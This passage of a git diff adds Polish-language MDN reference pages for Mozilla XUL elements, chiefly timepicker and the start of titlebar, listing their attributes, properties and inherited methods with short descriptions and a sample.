+<code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>,
+<code id="a-pack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pack">pack</a></code>,
+<code id="a-persist"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/persist">persist</a></code>,
+<code id="a-popup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/popup">popup</a></code>,
+<code id="a-position"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/position">position</a></code>,
+<code id="a-preference-editable"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/preference-editable">preference-editable</a></code>,
+<code id="a-querytype"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/querytype">querytype</a></code>,
+<code id="a-ref"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ref">ref</a></code>,
+<code id="a-removeelement"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/removeelement">removeelement</a></code>,
+<code id="a-sortDirection"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortDirection">sortDirection</a></code>,
+<code id="a-sortResource"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource">sortResource</a></code>,
+<code id="a-sortResource2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource2">sortResource2</a></code>,
+<code id="a-statustext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/statustext">statustext</a></code>,
+<code id="a-style"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/style">style</a></code>,
+<code id="a-template"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/template">template</a></code>,
+<code id="a-tooltip"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltip">tooltip</a></code>,
+<code id="a-tooltiptext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltiptext">tooltiptext</a></code>,
+<code id="a-top"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/top">top</a></code>,
+<code id="a-uri"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/uri">uri</a></code>,
+<code id="a-wait-cursor"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/wait-cursor">wait-cursor</a></code>,
+<code id="a-width"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/width">width</a></code> </small></p>
+</td>
+</tr>
+</tbody>
+</table>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/align">align</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/allowEvents">allowEvents</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/boxObject">boxObject</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/builder">builder</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/className">className</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/collapsed">collapsed</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/contextMenu">contextMenu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/controllers">controllers</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/database">database</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/datasources">datasources</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/dir">dir</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/flex">flex</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/height">height</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/hidden">hidden</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/id">id</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/left">left</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxHeight">maxHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxWidth">maxWidth</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/menu">menu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minHeight">minHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minWidth">minWidth</a></span></code>, , , , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/observes">observes</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ordinal">ordinal</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/orient">orient</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/pack">pack</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/persist">persist</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ref">ref</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/resource">resource</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/statusText">statusText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/style">style</a></span></code>, ,, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltip">tooltip</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltipText">tooltipText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/top">top</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/width">width</a></span></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<p>TBD
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/timepicker/index.html b/files/pl/mozilla/tech/xul/timepicker/index.html
new file mode 100644
index 0000000000..598c7a22cf
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/timepicker/index.html
@@ -0,0 +1,263 @@
+---
+title: timepicker
+slug: Mozilla/Tech/XUL/timepicker
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/timepicker
+---
+<p>
+</p>
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Element timepicker jest stosowany, aby pozwolić użytkownikowi na wprowadzenie czasu. Stanowi trzy pola do wpisania godziny, minuty i sekundy. Przyciski strzałek obok pól pozwalają dostosować wartości za pomocą myszki. Czwarty pole tekstowe wyświetlane jest dla zegarów dwunastogodzinnych, które pozwala na wybranie pomiędzy AM lub PM.
+</p><p>Określa wstępne zastosowane wartości atrybutu ustawione w jeden ze sposobów, czyli HH:MM:SS lub HH:MM. Wartość może być odzyskiwana i zmieniana stosując własność <code>value</code> lub własność <code>dateValue</code>. Ten poprzedni określił czas jako łańcuch znaków w formie HH:MM:SS, gdzie drugi określa czas jako obiekt <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Date">Date</a>. Dodatkowo własności godziny, minuty i sekundy mogą być stosowane do wyszukania i zmodyfikowania każdego komponentu oddzielającego czas.
+</p><p><br>
+</p>
+<dl><dt> Atrybuty
+</dt><dd> <a href="#a-disabled">disabled</a>, <a href="#a-hideseconds">hideseconds</a>, <a href="#a-increment">increment</a>, <a href="#a-readonly">readonly</a>, <a href="#a-tabindex">tabindex</a>, <a href="#a-value">value</a>
+</dd></dl>
+<dl><dt> Własności </dt><dd> <a href="#p-amIndicator">amIndicator</a>, <a href="#p-dateValue">dateValue</a>, <a href="#p-disabled">disabled</a>, <a href="#p-hideSeconds">hideSeconds</a>, <a href="#p-hour">hour</a>, <a href="#p-hourLeadingZero">hourLeadingZero</a>, <a href="#p-increment">increment</a>, <a href="#p-is24HourClock">is24HourClock</a>, <a href="#p-isPM">isPM</a>, <a href="#p-minute">minute</a>, <a href="#p-minuteLeadingZero">minuteLeadingZero</a>, <a href="#p-pmIndicator">pmIndicator</a>, <a href="#p-readOnly">readOnly</a>, <a href="#p-second">second</a>, <a href="#p-secondLeadingZero">secondLeadingZero</a>, <a href="#p-tabIndex">tabIndex</a>, <a href="#p-value">value</a>
+</dd></dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<pre>&lt;timepicker value="12:05"/&gt;
+</pre>
+<p><img alt="Grafika:Controlguide-timepicker.png">
+</p>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p>
+</p><div id="a-disabled">
+
+<dl><dt> <code id="a-disabled"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disabled">disabled</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Określa, czy element jest wyłączony. Jeśli atrybut ten ma wartość <code>true</code>, to element będzie wyłączony. Wyłączone elementy zazwyczaj są wyszarzone. Jeśli element jest wyłączony, nie odpowiada na czynności użytkownika, nie może zostać na niego ustawiony focus, a zdarzenie <i>command</i> nie zostanie wywołane. </dd></dl>
+<div class="float-right"><img alt="grafika:XUL_ref_attr_disabled.png"></div>
+<pre>&lt;!-- Pole wyboru włącza/wyłącza przycisk --&gt;
+&lt;checkbox label="Enable button"
+ onclick="document.getElementById('buttRemove').disabled = this.checked"/&gt;
+&lt;button id="buttRemove" label="Remove All" disabled="true"/&gt;
+</pre>
+</div>
+<div id="a-hideseconds">
+
+<dl>
+ <dt>
+ <code id="a-hideseconds"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hideseconds">hideseconds</a></code></dt>
+ <dd>
+ Typ: <i>boolean</i></dd>
+ <dd>
+ Sygnalizuje gdzie pokazać pole sekund.</dd>
+</dl>
+</div>
+<div id="a-readonly">
+
+<dl><dt> <code id="a-readonly"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/readonly">readonly</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Jeśli ustawiony jest na <code>true</code>, to użytkownik nie będzie mógł zmienić wartości elementu. Jednakże wartość wciąż może zostać zmodyfikowana poprzez skrypt.
+</dd></dl>
+
+
+</div>
+<div id="a-timepicker.increment">
+
+</div>
+<div id="a-tabindex">
+
+<dl><dt> <code id="a-tabindex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tabindex">tabindex</a></code>
+</dt><dd> Typ: <i>integer</i>
+</dd><dd> Porządek dla przełączania elementów klawiszem Tab. Elementy o wyższym tabindex umieszczane są w dalszej części sekwencji przełączania.
+</dd></dl>
+
+
+</div>
+<div id="a-timepicker.value">
+
+<dl>
+ <dt>
+ <code id="a-value"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/value">value</a></code></dt>
+ <dd>
+ Typ: <i>string</i></dd>
+ <dd>
+ Początkowa wartość elementu timepicker w obu formach, czyli HH:MM:SS lub HH:MM.</dd>
+</dl>
+</div>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p>
+</p><div id="p-amIndicator">
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/amIndicator">amIndicator</a></span></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Wartość łańcucha znaków wyświetlana dla godzin pomiędzy północą a południem, domyślnie jest to AM. Ta wartość określa się w zależności od czasu lokalnego użytkownika. </dd></dl>
+
+</div>
+<div id="p-dateValue">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/dateValue">dateValue</a></span></code></dt>
+ <dd>
+ Typ: <i>Date</i></dd>
+ <dd>
+ Data, która jest aktualnie wprowadzana lub zaznaczona w datepicker jako obiekt Date.</dd>
+</dl></div>
+<div id="p-disabled">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/disabled">disabled</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-disabled"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disabled">disabled</a></code>.</dd>
+</dl></div>
+<div id="p-hideSeconds">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/hideSeconds">hideSeconds</a></span></code></dt>
+ <dd>
+ Typ: <i>boolean</i></dd>
+ <dd>
+ Sygnalizuje gdzie pole sekund jest widoczne lub nie.</dd>
+</dl></div>
+<div id="p-hour">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/hour">hour</a></span></code></dt>
+ <dd>
+ Typ: <i>integer</i></dd>
+ <dd>
+ Aktualnie zaznaczona godzina z przedziału od 0 do 23. Ustaw tą własność, aby zmienić zaznaczoną godzinę.</dd>
+</dl></div>
+<div id="p-hourLeadingZero">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/hourLeadingZero">hourLeadingZero</a></span></code></dt>
+ <dd>
+ Typ: <i>boolean</i></dd>
+ <dd>
+ Wartość tylko do odczytu sygnalizująca gdzie wiodące zero powinno być wyświetlone przed godziną zanim jest ona mniejsza niż 10.</dd>
+</dl></div>
+<div id="p-increment">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/increment">increment</a></span></code></dt>
+ <dd>
+ Typ: <i>integer</i></dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-increment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/increment">increment</a></code>.</dd>
+</dl></div>
+<div id="p-is24HourClock">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/is24HourClock">is24HourClock</a></span></code></dt>
+ <dd>
+ Typ: <i>boolean</i></dd>
+ <dd>
+ Wartość tylko do odczytu sygnalizująca gdzie jest stosowany 12-godzinny, a gdzie 24-godzinny czas wyświetlania. Z 12-godzinnym czasem zegara, dodatkowe pole pozwala użytkownikowi na wybranie pomiędzy AM i PM.</dd>
+</dl></div>
+<div id="p-isPM">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/isPM">isPM</a></span></code></dt>
+ <dd>
+ Typ: <i>boolean</i></dd>
+ <dd>
+ Jeśli <code>false</code>, godzina jest pomiędzy 0 i 11, a jeśli <code>true</code> to godzina jest 12 lub większa.</dd>
+</dl></div>
+<div id="p-minute">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/minute">minute</a></span></code></dt>
+ <dd>
+ Typ: <i>integer</i></dd>
+ <dd>
+ Aktualnie zaznaczona minuta z przedziału od 0 do 59. Ustaw tą własność, aby zmienić zaznaczoną minutę.</dd>
+</dl></div>
+<div id="p-minuteLeadingZero">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/minuteLeadingZero">minuteLeadingZero</a></span></code></dt>
+ <dd>
+ Typ: <i>boolean</i></dd>
+ <dd>
+ Wartość tylko do odczytu sygnalizująca gdzie wiodące zero powinno być wyświetlone przed minutą zanim jest ona mniejsza niż 10.</dd>
+</dl></div>
+<div id="p-pmIndicator">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/pmIndicator">pmIndicator</a></span></code></dt>
+ <dd>
+ Typ: <i>string</i></dd>
+ <dd>
+ Wyświetlana wartość łańcucha znaków dla godzin pomiędzy południem a północą, domyślnie jest to PM. Ta wartość jest określana dla użytkownika lokalnie.</dd>
+</dl></div>
+<div id="p-readOnly">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/readonly">readonly</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Jeśli jest ustawiony na <code>true</code>, to użytkownik nie może zmieniać wartości elementu. Jest to odpowiednia własności do użytku <code><a href="/pl/docs/Mozilla/Tech/XUL/textbox" title="textbox">textbox</a></code> zamiast własności <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/readonly">readonly</a></span></code>.</dd>
+</dl></div>
+<div id="p-second">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/second">second</a></span></code></dt>
+ <dd>
+ Typ: <i>integer</i></dd>
+ <dd>
+ Aktualnie zaznaczone sekundy z przedziału od 0 do 59. Ustaw tą własność, aby zmienić zaznaczone sekundy.</dd>
+</dl></div>
+<div id="p-secondLeadingZero">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/secondLeadingZero">secondLeadingZero</a></span></code></dt>
+ <dd>
+ Typ: <i>boolean</i></dd>
+ <dd>
+ Wartość tylko do odczytu sygnalizująca gdzie wiodące zero powinno być wyświetlone przed sekundą zanim jest ona mniejsza niż 10.</dd>
+</dl></div>
+<div id="p-tabIndex">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/tabIndex">tabIndex</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-tabindex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tabindex">tabindex</a></code>.</dd>
+</dl></div>
+<div id="p-timepicker.value">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/value">value</a></span></code></dt>
+ <dd>
+ Typ: <i>string</i></dd>
+ <dd>
+ Aktualnie wprowadzony czas w formie HH:MM:SS. Ustaw tą własność, aby zmienić czas.</dd>
+</dl></div>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne</h3>
+<dl><dt> Interfejsy
+</dt><dd> <a href="pl/NsIDOMXULControlElement">nsIDOMXULControlElement</a>
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/titlebar/index.html b/files/pl/mozilla/tech/xul/titlebar/index.html
new file mode 100644
index 0000000000..390f3f3350
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/titlebar/index.html
@@ -0,0 +1,94 @@
+---
+title: titlebar
+slug: Mozilla/Tech/XUL/titlebar
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/titlebar
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Stosowany do reprezentacji paska tytułu. Ten element jest stosowany utworzenia paska tytułu użytkownika poprzez umieszczenie w nim treści jako dziecko elementu wewnątrz tego paska. Kiedy pasek tytułu jest klikany lub przeciągany, okno jest przesuwane wraz z nim. Elementy wewnątrz paska tytułu nie przyjmują zdarzeń. Pasek tytułu wysyła polecenie zdarzenia dopiero po tym jak zostanie zmieniony rozmiar okna.
+</p>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<p>(potrzebne przykłady)
+</p>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238);">
+<tbody>
+<tr>
+<td><p><strong>Dziedziczy z elementu XUL</strong><br> <small>
+<code id="a-align"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/align">align</a></code>,
+<code id="a-allowevents"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allowevents">allowevents</a></code>,
+<code id="a-allownegativeassertions"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allownegativeassertions">allownegativeassertions</a></code>,
+<code id="a-class"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/class">class</a></code>,
